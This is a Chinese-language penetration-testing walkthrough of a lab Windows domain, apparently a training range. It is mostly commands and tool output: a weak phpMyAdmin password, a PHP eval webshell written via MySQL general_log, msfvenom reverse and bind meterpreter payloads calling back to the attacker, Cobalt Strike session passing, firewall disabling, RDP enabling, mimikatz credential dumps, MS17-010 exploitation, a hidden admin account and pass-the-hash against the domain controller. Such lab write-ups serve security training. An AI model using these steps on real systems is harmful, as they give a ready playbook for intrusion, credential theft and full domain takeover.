实验环境拓扑图如下:
这里是搭建一个最简单的域环境,域控+dmz服务器。
kali(MSF+CS) :192.168.61.128
Windows 2007:192.168.61.201 192.168.52.143
Windows 2003:192.168.52.128
Windows 2008:192.168.52.138
1)探测内网存活主机。
netdiscover -i eth0 -r 192.168.61.0/24
2)masscan端口扫描。
masscan 192.168.61.201 -p 1-65535 --rate=1000
重点关注80,3306端口。
3)Nmap端口扫描。
nmap -sC -sV -p 80,3306 192.168.61.201
4)我们访问以下80端口。
5)dirsearch目录爆破。
dirsearch -u http://192.168.61.201/
这里我们扫描出来了phpmyadmin。
1)我们访问:http://192.168.61.201/phpmyadmin/,来到phpmyadmin页面。
这种页面首先我们的尝试弱口令。
2)接着我们root/root,直接进入phpmyadmin。
3)尝试写shell到服务器,我们首先信息收集,获得绝对路径,查看secure_file_priv状态。
select @@secure_file_priv
结果为空,就不允许导出导入。
我们接着来浅谈一下secure_file_priv状态代表的含义:
secure_file_priv为null 表示不允许导入导出
secure_file_priv指定文件夹时 表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时 表示没有任何限制
写入文件的时候还需要注意php.ini里面gpc是否开启,开启情况下,特殊字符都会被转义'变成\'
4)既然直接写行不通,尝试日志写shell,查看日志状态以及存储位置:
show global variables like '%general_%'
5)可以看到日志是关闭的,开启日志且更改日志存储位置,尝试写一句话shell。
set global general_log=on;
set global general_log_file="C:/phpStudy/WWW/shell.php"
select'<?php eval($_POST[cmd]);?>'
6)写入一句话,值得注意的是,一句话两边的括号不能和post[]里面的引号一样,会引起mysql判断错误,可以是双引号和单引号结合,也可以里面不加引号。
7)接下来,我们使用蚁剑链接一下我们的shell。
链接地址:http://192.168.61.201/shell.php
这是第一种得到webshell的方法。
1)之前在登陆到phpmyadmin的时候,我们发现了newyxcmd,有经验的表哥,知道这是ymcms框架。
2)我们访问:http://192.168.61.201/yxcms/
这里暴露了后台的登陆地址,账号和密码。
3)成功登陆后台。
4)我们寻找到前台模板->管理模板文件->新建。
5)这个文件上传,可以通过前面下载的beifen.rar文件来查找acomment.php文件来确定文件上传的路径。
http://192.168.61.201/yxcms/protected/apps/default/view/default/webshell.php
1)我们首先生成一个MSF的shell。
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.61.128 LPORT=1234 -f exe -o /home/wangkun/桌面/hack.exe
2)我们将木马文件上传到webshell中,在msf中开启监听。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.61.128
set lport 1234
run -j
3)我们接着执行webshell的木马文件。
4)成功回弹shell。
5)进入shell,我们首先需要查看权限,看看是否需要提权,这里是administrator权限,我们就使用简单的getsystem,直接提权到SYSTEM权限了,在实战中,我们还需要通过其他方式进行提权,直到提权只最高权限。
1)首先我们创建CS的监听器。
2)我们在MSF操作如下。
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true #payload_inject执行之后会在本地产生一个新的handler,设置为true表示不重复生成
set lhost xxxx #公网vps ip
set lport 14444 #监听端口
set session 1 #派发session id
exploit
3)成功得到CS的shell。
1)在横向移动之前,我们可以先将web服务器配置为代理服务器当作跳板机,可以用msf直接搭建隧道,自动创建路由。
run post/multi/manage/autoroute //配置静态路由
run autoroute -p //查看路由
2)挂起会话,建立socks代理。
use auxiliary/server/socks_proxy
options
set version 4a
run -j
jobs
3)修改一下/etc/proxychain4.conf,这里注意我们使用的是socks4。
1)我们使用arp探测内网存活的主机。
use post/windows/gather/arp_scanner
set RHOSTS 192.168.52.0/24
set SESSION 1
除了我们拿下的shell外,还得到了两个IP,192.168.52.129,192.168.52.138。
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.52.138
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.52.129
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)
1)先判断是否存在域,使用ipconfig /all
查看DNS服务器,发现主DNS后缀不为空,存在域god.org,如下图所示。
或者执行命令net config Workstation
来查看计算机当前的计算机名称,用户名,系统版本,工作站,域,登陆域等全面信息。
2)上面发现了DNS服务器名为god.org,当前登陆域为GOD,接下来可执行net view /domain
查看有几个域(域内可能存在多个域环境)。
3)既然只有一个域,那就利用net group "domain controllers" /domain
,来查看域控制器主机名,直接确认域控主机的名称为OWA:
4)已经确认域控主机的名称为OWA,继续执行命令net view
查看局域网其他主机信息(主机名称,IP地址),可得知域控主机的IP192.168.61.138。这条命令在CS中执行。
5)局域网扫描出来除了域控主机之外还有另一台主机(名称为ROOT-TVI862UBEH
),最后确认以下该主机是否也是存在域中,执行命令net group "domain computers" /domain
查看域中的其他主机发现包含ROOT-TVI862UBEH
,故域内还包含另一个域成员192.168.52.141
。
6)至此内网的信息收集已经收集完毕,已经明确了域控主机192.168.52.138,同时还存在另一台域成员192.168.52.141,接下来的目标就是横向移动拿下域控。
7)接下我,我们查看以下目标主机补丁信息。
run post/windows/gather/enum_patches
只打了四个补丁。
8)查看目标安装软件的信息。
run post/windows/gather/enum_applications
9)进入shell查看防火墙状态。
netsh firewall show state
关闭防火墙
netsh firewall set opmode disable #Windows Server 2003 系统及之前版本
netsh advfirewall set allprofiles state off #Windows Server 2003 之后系统版本
再次查看防火墙开启状态。
10)查看3389是否开启(如果返回空代表没有开放)。
netstat -ano | findstr "3389"
未开启!!!
开启远程桌面。
run getgui -e
run post/windows/manage/enable_rdp #两个都可以
在shell下使用以下命令也可
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f # 允许 3389 端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow # 允许 3389 端口放行
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 #wmic 放行3389端口
proxychains4 rdesktop 192.168.52.143
这里配合mimikatz抓取的密码,远程登陆到主机,这里链接的话,会把靶机挤掉,这里就不链接了。
1)进入msf的shell里使用cmd命令,遍历存货主机。
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
这里可以看到存活3个IP。
1)我们在CS中执行->RunMimikatz。
2)得到了明文密码和hash值。
SID : S-1-5-21-2952760202-1353902439-2381784089-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : GOD
* LM : edea194d76c77d87840ac10a764c7362
* NTLM : 8a963371a63944419ec1adf687bb1be5
* SHA1 : 343f44056ed02360aead5618dd42e4614b5f70cf
tspkg :
* Username : Administrator
* Domain : GOD
* Password : [email protected]
wdigest :
* Username : Administrator
* Domain : GOD
* Password : [email protected]
kerberos :
* Username : Administrator
* Domain : GOD.ORG
* Password : [email protected]
ssp :
credman :
1)之前我们进行use auxiliary/scanner/portscan/tcp
,进行端口扫描的时候,发现两台内网主机都开启了445端口,接下我我们对域控192.168.61.138
,进行漏洞扫描。
2)我们使用use auxiliary/scanner/smb/smb_ms17_010
模块进行扫描,发现存在漏洞。
use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.52.138
run
3)我们使用use auxiliary/admin/smb/ms17_010_command
模块执行以下命令,看看能否回显。
use auxiliary/admin/smb/ms17_010_command
options
set command whoami
set rhosts 192.168.52.138
run
成功回显命令。
4)我们使用MS17-010攻击模块中的use exploit/windows/smb/ms17_010_eternalblue
木块拿shell。
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.52.138
run
无法反弹回来shell。
5)我们回到MS17-010_command模块,set命令开启3389端口,关闭防火墙。
set command netstat -ano | findstr "3389"
set command REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
set command netsh firewall show state
set command netsh advfirewall set allprofiles state off
6)添加用户,远程连接。
net user admin$ [email protected]#45 /add 新建用户
net user 查看用户
net localgroup administrators admin$ /add 用户添加进管理员
net localgroup administrators 查看管理员组成员
成功,我们远程登陆访问以下。
proxychains4 rdesktop 192.168.52.138
1)我们使用Proxifier来远程到域控机器。
2)我们生成一个正向的shell,发送到目标机器。
msfvenom -p windows/meterpreter/bind_tcp -f exe LPORT=2222 -o shell.exe
3)正向监听。
set payload windows/meterpreter/bind_tcp
4)拿到shell。
1)我们已经拿下了Windows7主机,抓取到了它的hash和密码,而我们前面信息收集到另外两台机器开启了445端口,在目标不出网的情况下,可以使用smb beacon
使目标主机上线。
2)新建一个监听器,payload选择Beacon SMB,名字随便。
2)我们点击以列表形式展开目标。
3)接着我们点击密码凭证。
拿到凭证信息之后,我们就可以PTH了。
4)我们首先选择域控,Jump->psexec
如下配置:
成功拿下域控。
5)又用同样的方法,拿下域内另一台主机,至此拿下全部的机器。